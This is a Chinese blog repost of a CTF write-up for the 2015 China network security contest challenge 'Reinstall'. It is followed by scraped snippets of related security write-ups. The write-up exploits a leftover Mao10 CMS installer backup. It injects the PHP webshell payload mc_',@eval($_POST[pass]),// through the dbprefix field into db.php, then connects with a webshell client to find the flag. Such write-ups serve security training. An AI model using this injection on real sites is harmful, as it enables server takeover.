1. 程式人生 > >2015中國網路安全大賽:Reinstall

2015中國網路安全大賽:Reinstall

看題分析:網站是一個MAO10 CMS的系統,直接關鍵字搜尋,找到一篇《Mao10CMS前臺Getshell》的文章。

0x00 收集資訊

在www.mao10.com找到如下說明

//將程式上傳到網站空間後,訪問 http://你的域名/install.php 進行安裝

0x01 install.php

直接加上字尾,直接404,應該沒那麼簡單。既然方向是對的,install檔案又不存在,然後就想到了備份檔案,使用install.php.bak訪問


0x02 dbprefix

根據《Mao10CMS前臺Getshell》的表述,可寫馬欄位為dbprefix。在這之前我們先來了解一下最後形成的Application/Common/Conf/db.php的格式


我們要做的就是填補這個陣列格式,於是我們提交 mc_',@eval($_POST[pass]),// 

db.php如下:


最後使用菜刀連線


0x03 flag

shell已得,如何找個flag是問題,根據題意,flag是一個檔案,於是想到使用find命令查詢檔案

find ~ -name '*flag*'


開啟檔案,找到flag


試驗環境:www.ichunqiu.com

相關推薦

2015中國網路安全大賽Reinstall

看題分析:網站是一個MAO10 CMS的系統,直接關鍵字搜尋,找到一篇《Mao10CMS前臺Getshell》的文章。 0x00 收集資訊 在www.mao10.com找到如下說明 //將程式上傳到網站空間後,訪問 http://你的域名/install.php 進行安裝

i春秋網鼎杯網路安全大賽blend題目writeup

下載後解壓   發現只有1KB   what??? file 一下   說是main.bin: x86 boot sector 百度了一下下 說這個東西是linux的引導扇區 Boot sector是硬碟(嚴格來說

i春秋網鼎杯網路安全大賽advanced題目writeup

今天打了護網杯 發現啥也不會 悲傷   就想起來了未完成的網鼎杯   來補坑(通過觀摩大佬writeup) file命令檢視是一個64位的ELF檔案    執行後無互動動作   只輸出 welcome,

2018“駭極杯”全國大學生網路安全邀請賽暨第四屆上海市大學生網路安全大賽線上賽 writeup

0x00 簽到題 操作內容: |登陸比賽介面 上去看到簽到題,一般情況下 簽到題是沒有難度的 題目給定一串字元MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q Base32一閃而過

2019網路安全展望更多資料洩露,相關法規出臺以及AI崛起

年底總是會讓我們團隊有些興奮,因為我們需要回顧這一年,分析我們全年的工作情況,並展望未來一年的發展。在充分利用我們團隊在資料和應用程式安全方面的專業知識和挖掘全球客戶群的洞察力的基礎上,我們決定採用不同的方法,重點關注我們認為2019年將成為焦點的三個最重要趨勢。 2018年,資料和應用安

中國網路安全企業50強(來源自安全牛公司)

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

阿里安全資深專家杭特辣評中國網路安全人才之“怪現狀”

隨著網路空間成為第五空間、社會基礎產業全面網際網路化,網路安全(或稱廣義的資訊保安)面臨的威脅越來越大,對網路安全的人才需求也呈現出井噴趨勢。即使目前很多人可以自學成才,“網路空間安全”也成為一級學科,但根據《第十一屆網路空間安全學科專業建設與人才培養研討會》得出的結論

中國網路安全企業50強

一、傳統網路安全企業25強 (注:規模主要是指人員數量和收入,影響力主要是指行業使用者的知名度、認可度和媒體曝光率) 企業產品與服務簡介: (按拼音首字母排序) 安恆資訊:Web應用安全、Web防火牆、資料庫運維審計、安全閘道器、等保檢查、網站安全監測,A

CTF--2016XDCTF全國網路安全大賽之reverse2

0x01 題目介紹 題目名稱     reverse2 題目描述     File: XDCTF2.exe     Size: 195584 bytes     File Version: 1.0

i春秋網鼎杯網路安全大賽Beijing題目writeup

題目資訊: IDA載入 發現函式很少 也沒有啥可以字串  那就直分析 先看main函式   可以直接F5變成c虛擬碼 雙擊任意dword_804Axxx 接著向下翻到dword_

CTF--2016中國西安西電華山杯網路安全技能大賽之crackme6

Crackeme6 write up(help me) 0x01 為了照顧水平技術差異化,本題解答對大神來說,有些繁瑣。(大神可以忽略飄過) 方便一部分逆向新手學習。 0x02 命令列行程式上圖顯示崩潰,剛開始還懷疑程式編寫的有問題。 於是先暫時用IDA載入測試一

中國科學技術大學第五屆信息安全大賽(hackergame2018自我總結)

python3 編譯 fill 解碼 問答 與他 methods c 語言 出現 https://hack2018.lug.ustc.edu.cn 這是我第一次參加ctf(應該也是第一次聽說吧),居然隨緣拿了6個flag(本來7個,還有一個明明對了不算我對的),也算是入門

SDN控制器之OVN實驗五配置OVN網路安全功能(ACL)

概覽 基於我之前的文章中的相關內容,本文通過使用OVN訪問控制列表(ACL)來實現基本的網路安全功能。 OVN訪問控制列表和地址集介紹 OVN中的ACL規則儲存於北向資料庫的ACL表中,並且可以使用ovn-nbctl的acl命令進行配置。目前,ACL只能應用於邏輯交換機,但是未來將支援應

山東省網路安全技能大賽 部分writeup

web1 提示:ip不在範圍內 直接抓包加client-ip: 127.0.0.1 即可得到flag web2 <?php    include 'here.php';    $key =&n

墨者安全分享2019年最大網路安全威脅有哪些?

一晃眼2018年已快過去,在這一年的時間裡網路安全事件頻繁發生,相比去年,功擊頻率、功擊流量和功擊時長都出現了大幅度增加,功擊方式也越來越複雜,讓很多企業遭到一定的經濟損失,所以企業一定要重視網路安全的重要性。在即將到來的2019年,日漸繁雜的網際網路又會有哪些需要注意的網路安全威脅呢?今天墨者安全就來為

A__Writeup“百越杯”第四屆福建省高校網路空間安全大賽——致我的戰隊HeroCat的所有成員

    作  者:HeroCat出  處:https://www.cnblogs.com/HeroCat/ 特此宣告:歡迎園子的大大們指正錯誤,共同進步。如有問題或建議,也請各位大佬多多賜教!如果您覺得文章對您有幫助,可以點選文章右下角【推薦】一下。版權宣告:本文版權歸作

網路安全宣傳週系列從洩露郵箱地址引發的思考

0x00 背景 在網路安全運維報告、應急響應報告中,我們經常看到"分析研判"這一詞,我在最近一段時間的現場值守服務過程中,針對郵箱洩露這一問題進行了深入的分析研判。 郵件攻擊依然是黑客首選,特別是郵件釣魚攻擊。那麼我們經常成為攻擊物件,收到垃圾郵件和釣魚郵件的原因是什麼呢?其中一個明顯的原因肯定是你的郵箱地

9月第3周業務風控關注|央行將進一步探索構建行業共享的金融網路安全防護平臺

易盾業務風控週報每週呈報值得關注的安全技術和事件,包括但不限於內容安全、移動安全、業務安全和網路安全,幫助企業提高警惕,規避這些似小實大、影響業務健康發展的安全風險。 1.央行:將進一步探索構建行業共享的金融網路安全防護平臺 據澎湃新聞訊息,2018年網路安全技術

中國地區2012年第二季度 網路安全威脅報告

                2012年第2季度安全威脅本季安全警示:巨集病毒,PE病毒,漏洞,釣魚2012年第2季度安全威脅概況  本季度趨勢科技中國區病毒碼新增特徵約59萬條。截止2012.6.30日中國區傳統病毒碼9.224.60包含病毒特徵數約400萬條。  本季度趨勢科技在中國地區客戶終端檢測並攔